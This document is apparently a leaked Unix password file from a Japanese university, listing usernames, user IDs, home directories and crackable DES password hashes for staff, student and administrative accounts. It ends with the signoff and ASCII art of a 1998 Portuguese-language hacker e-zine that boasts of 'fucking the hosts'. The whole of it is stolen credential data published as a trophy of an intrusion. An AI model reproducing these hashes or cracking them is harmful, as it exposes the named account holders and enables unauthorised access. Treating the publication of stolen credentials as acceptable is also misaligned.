user:/home/yosiura:/bin/csh aikou:eEfeALE7KaJpk:605:500:kanoya taiiku daigaku user:/home/aikou:/bin/csh ty:pCIw59nsSSbUc:606:500:kanoya taiiku daigaku user:/home/ty:/bin/csh rei:DEVdrcW17WJqI:607:500:kanoya taiiku daigaku user:/home/rei:/bin/csh junichit:oDF1bZmEmz85U:608:500:kanoya taiiku daigaku user:/home/junichit:/bin/csh emiko:GdA2WIwUVd0PU:609:500:kanoya taiiku daigaku user:/home/emiko:/bin/csh mae:cGhl2FWgmlwFY:610:500:kanoya taiiku daigaku user:/home/mae:/bin/csh ikouga:Xe4u2MiX5Cqxg:611:500:kanoya taiiku daigaku user:/home/ikouga:/bin/csh hiroshi:JHb6EST71JTvI:612:500:kanoya taiiku daigaku user:/home/hiroshi:/bin/csh sadohara:vJTUpsNCJWGYw:613:500:kanoya taiiku daigaku user:/home/sadohara:/bin/csh waka:JLV43wZPxrnrU:614:500:kanoya taiiku daigaku user:/home/waka:/bin/csh daisaku:7K1VB9EdTEYuI:626:500:kanoya taiiku daigaku user:/home/daisaku:/bin/csh kaisei:GKbOx0Bys94Zk:627:500:kanoya taiiku daigaku user:/home/keisei:/bin/csh t-sakata:z6IU3szs7b4hI:628:500:kanoya taiiku daigaku user:/home/t-sakata:/bin/csh sugimoto:hMIQiGd5/Iadk:629:500:kanoya taiiku daigaku user:/home/sugimoto:/bin/csh kojima://ergDlpjRISY:630:500:kanoya taiiku daigaku user:/home/kojima:/bin/csh ueyama:Z/2ZTU7xPCfMs:631:500:kanoya taiiku daigaku user:/home/ueyama:/bin/csh wakimoto:njJVqHS3mjYE.:632:500:kanoya taiiku daigaku user:/home/wakimoto:/bin/csh n-reiko:W/ts4F5.YxFt2:633:500:kanoya taiiku daigaku user:/home/n-reiko:/bin/csh yamanda:jxIEeAaeO7xxA:634:500:kanoya taiiku daigaku user:/home/yamanda:/bin/csh jyoho:lIU0/EK//N2Qs:635:500:kanoya taiiku daigaku user:/home/jyoho:/bin/csh kamimura:PNZ9oM67ivaOw:636:500:kanoya taiiku daigaku user:/home/kamimura:/bin/csh nakatomi:oLD9x8EsS.93Y:637:500:kanoya taiiku daigaku user:/home/nakatomi:/bin/csh simamori:vsnVxlEdBZfFk:638:500:kanoya taiiku daigaku user:/home/simamori:/bin/csh kari:t1Xmc0kHtBd0E:639:500:kanoya taiiku daigaku user:/home/kari:/bin/csh ijichi:YesCHHX3duZkw:640:500:kanoya taiiku daigaku user:/home/ijichi:/bin/csh higasiya:cPby83lnLnDFo:641:500:kanoya taiiku daigaku user:/home/higasiya:/bin/csh uchida:PlbcL9QKQr86s:642:500:kanoya taiiku daigaku user:/home/uchida:/bin/csh nagaosa:tp5Y1RtbDmZGc:643:500:kanoya taiiku daigaku user:/home/nagaosa:/bin/csh yanachi:xee.44nHBr2WY:644:500:kanoya taiiku daigaku user:/home/yanachi:/bin/csh masatugu:/wKOEvy4i/1IM:645:500:kanoya taiiku daigaku user:/home/masatugu:/bin/csh satou:yTCrOUvjOoKFI:646:500:kanoya taiiku daigaku user:/home/satou:/bin/csh jingusi:JaPTFL1UqGYro:647:500:kanoya taiiku daigaku user:/home/jingusi:/bin/csh watanabe:Qst/NGwmqVGzU:648:500:kanoya taiiku daigaku user:/home/watanabe:/bin/csh matsuoj:q0kxeXFVFy.zU:649:500:kanoya taiiku daigaku user:/home/matsuoj:/bin/csh fukusima:X7bEuwgiJGSMg:650:500:kanoya taiiku daigaku user:/home/fukusima:/bin/csh kawahata:AbjA0uC5HWIbQ:651:500:kanoya taiiku daigaku user:/home/kawahata:/bin/csh msin:FoLo2/OxvpU2c:652:500:kanoya taiiku daigaku user:/home/msin:/bin/csh grace:kLaiImY7gpD:699:600:kanoya taiiku daigaku user:/home/grace:/bin/csh m9610:eBkB2v6qgrE9M:709:600:kanoya taiiku daigaku user:/home/m9610:/bin/csh m9619:78l11iqNzit6Q:718:600:kanoya taiiku daigaku user:/home/m9619:/bin/csh m9620:1E5bSi.r3dfbA:719:600:kanoya taiiku daigaku user:/home/m9620:/bin/csh m9621:xAvm6oO/uDbM2:720:600:kanoya taiiku daigaku user:/home/m9621:/bin/csh m9501:*:721:600:kanoya taiiku daigaku user:/home/m9501:/bin/csh m9502:*:722:600:kanoya taiiku daigaku user:/home/m9502:/bin/csh m9503:*:723:600:kanoya taiiku daigaku user:/home/m9503:/bin/csh m9504:*:724:600:kanoya taiiku daigaku user:/home/m9504:/bin/csh m9505:*:725:600:kanoya taiiku daigaku user:/home/m9505:/bin/csh m9506:*:726:600:kanoya taiiku daigaku user:/home/m9506:/bin/csh m9507:*:727:600:kanoya taiiku daigaku user:/home/m9507:/bin/csh m9508:*:728:600:kanoya taiiku daigaku user:/home/m9508:/bin/csh m9509:*:729:600:kanoya taiiku daigaku user:/home/m9509:/bin/csh m9510:*:730:600:kanoya taiiku daigaku user:/home/m9510:/bin/csh m9511:*:731:600:kanoya taiiku daigaku user:/home/m9511:/bin/csh m9512:*:732:600:kanoya taiiku daigaku user:/home/m9512:/bin/csh m9513:*:733:600:kanoya taiiku daigaku user:/home/m9513:/bin/csh m9701:*:735:600:kanoya taiiku daigaku user:/home/m9701:/bin/csh m9702:*:736:600:kanoya taiiku daigaku user:/home/m9702:/bin/csh m9703:*:737:600:kanoya taiiku daigaku user:/home/m9703:/bin/csh m9704:*:738:600:kanoya taiiku daigaku user:/home/m9704:/bin/csh m9705:*:739:600:kanoya taiiku daigaku user:/home/m9705:/bin/csh m9706:*:740:600:kanoya taiiku daigaku user:/home/m9706:/bin/csh m9707:*:741:600:kanoya taiiku daigaku user:/home/m9707:/bin/csh m9708:*:742:600:kanoya taiiku daigaku user:/home/m9708:/bin/csh m9709:*:743:600:kanoya taiiku daigaku user:/home/m9709:/bin/csh m9710:*:744:600:kanoya taiiku daigaku user:/home/m9710:/bin/csh m9711:*:745:600:kanoya taiiku daigaku user:/home/m9711:/bin/csh m9712:vequrgn2La.Y6:746:600:kanoya taiiku daigaku user:/home/m9712:/bin/csh m9713:*:747:600:kanoya taiiku daigaku user:/home/m9713:/bin/csh m9714:*:748:600:kanoya taiiku daigaku user:/home/m9714:/bin/csh m9715:*:749:600:kanoya taiiku daigaku user:/home/m9715:/bin/csh m9716:*:750:600:kanoya taiiku daigaku user:/home/m9716:/bin/csh m9717:CWzh6QDEa01DU:751:600:kanoya taiiku daigaku user:/home/m9717:/bin/csh m9718:*:752:600:kanoya taiiku daigaku user:/home/m9718:/bin/csh m9719:*:753:600:kanoya taiiku daigaku user:/home/m9719:/bin/csh m9720:*:754:600:kanoya taiiku daigaku user:/home/m9720:/bin/csh chengpjk:yi4wEtxVl46Ac:755:600:kanoya taiiku daigaku user:/home/chengpjk:/bin/csh syomu-s:uTRgO3FirjUWI:800:501:kanoya taiiku daigaku user:/home/syomu-s:/bin/csh syomu:lT5CXVswOAUrY:801:501:kanoya taiiku daigaku user:/home/syomu:/bin/csh kikaku:KTVSmEMMhUIgM:802:501:kanoya taiiku daigaku user:/home/kikaku:/bin/csh kokusai:2TY9vH6aLoS4.:803:501:kanoya taiiku daigaku user:/home/kokusai:/bin/csh jinji:p7jtrQeDllhdA:804:501:kanoya taiiku daigaku user:/home/jinji:/bin/csh kaikei-s:EQzPWLL9danlc:805:501:kanoya taiiku daigaku user:/home/kaikei-s:/bin/csh somu:5QbrVwAncMABc:806:501:kanoya taiiku daigaku user:/home/somu:/bin/csh shikei:yPIxYqcRL3Wmo:807:501:kanoya taiiku daigaku user:/home/shikei:/bin/csh keiri:pP1gSk0Ob1Jxo:808:501:kanoya taiiku daigaku user:/home/keiri:/bin/csh youdo:XPCnPIJg3zZvQ:809:501:kanoya taiiku daigaku user:/home/youdo:/bin/csh sisetu:TKagiuUfhR2qs:810:501:kanoya taiiku daigaku user:/home/sisetu:/bin/csh setsubi:RbX4.QBCG/KJA:811:501:kanoya taiiku daigaku user:/home/setsubi:/bin/csh kyoumu1:naCjC9v7fu2Yc:812:501:kanoya taiiku daigaku user:/home/kyoumu1:/bin/csh kyoumu2:DIFyv9lRErZ3c:813:501:kanoya taiiku daigaku user:/home/kyoumu2:/bin/csh nyushi:xHyVwkAJx3FlE:814:501:kanoya taiiku daigaku user:/home/nyushi:/bin/csh gaku-s:oHqkw7mZDiHbg:815:501:kanoya taiiku daigaku user:/home/gaku-s:/bin/csh gaku-s1:sVyNA8Eicg9JE:816:501:kanoya taiiku daigaku user:/home/gaku-s1:/bin/csh gaku-s2:HW7BkmBTP4MfM:817:501:kanoya taiiku daigaku user:/home/gaku-s2:/bin/csh taiku:vNFEwrJ7oTy6Y:818:501:kanoya taiiku daigaku user:/home/taiku:/bin/csh kanri:MTz7C1dE8kXJY:819:501:kanoya taiiku daigaku user:/home/kanri:/bin/csh gakusei:D9sJoqbPOeXf2:821:501:kanoya taiiku daigaku user:/home/gakusei:/bin/csh jyo-sa:GFZYqQBCcOPz6:822:501:kanoya taiiku daigaku user:/home/jyosa:/bin/csh kyokutyo:8jZXx87vKNR8U:823:501:kanoya taiiku daigaku user:/home/kyokutyo:/bin/csh syomu-k:rjRsew4jAzTGE:824:501:kanoya taiiku daigaku user:/home/syomu-k:/bin/csh syomu-h:NmYMlMun9ejsI:825:501:kanoya taiiku daigaku user:/home/syomu-h:/bin/csh kaikei-k:DnRvTkSU1DgPE:826:501:kanoya taiiku daigaku user:/home/kaikei-k:/bin/csh kaikei-h:MnVjWiglJvlcg:827:501:kanoya taiiku daigaku user:/home/kaikei-h:/bin/csh sisetu-k:nnk7thihp.hKA:828:501:kanoya taiiku daigaku user:/home/sisetu-k:/bin/csh kyoumu-k:2pZVYsV6twP0c:829:501:kanoya taiiku daigaku user:/home/kyoumu-k:/bin/csh kyoumu-h:TpgYR6vzzwvZo:830:501:kanoya taiiku daigaku user:/home/kyoumu-h:/bin/csh gakuse-k:9rLrIs86QHymE:831:501:kanoya taiiku daigaku user:/home/gakuse-k:/bin/csh gakuse-h:/s/FPpXvFZFdA:832:501:kanoya taiiku daigaku user:/home/gakuse-h:/bin/csh tosyo-k:Gt4pFmOiKoAiw:833:501:kanoya taiiku daigaku user:/home/tosho-k:/bin/csh matuzaki:*:834:501:kanoya taiiku daigaku user:/home/matuzaki:/bin/csh _____ É isso ae galera! Obrigado por ler o nosso e-zine!!! icmp security group (c) copyright 1998 . .. Fucking the hosts .. . iii cccccccccc mmmmmmmmmmmmm ppppppppppp iii cccccccccc mmm mmm mmm ppp pp iii ccc mmm mmm mmm ppp pp ---> feioso! ;]==*~~~ iii ccc mmm mmm mmm ppp pp iii ccc mmm mmm mmm ppppppppppp iii ccc mmm mmm ppp iii cccccccccc mmm mmm ppp iii cccccccccc mmm mmm ppp security group 1998 AsCii By ZeFuReNgA < furenga@hotmail.com >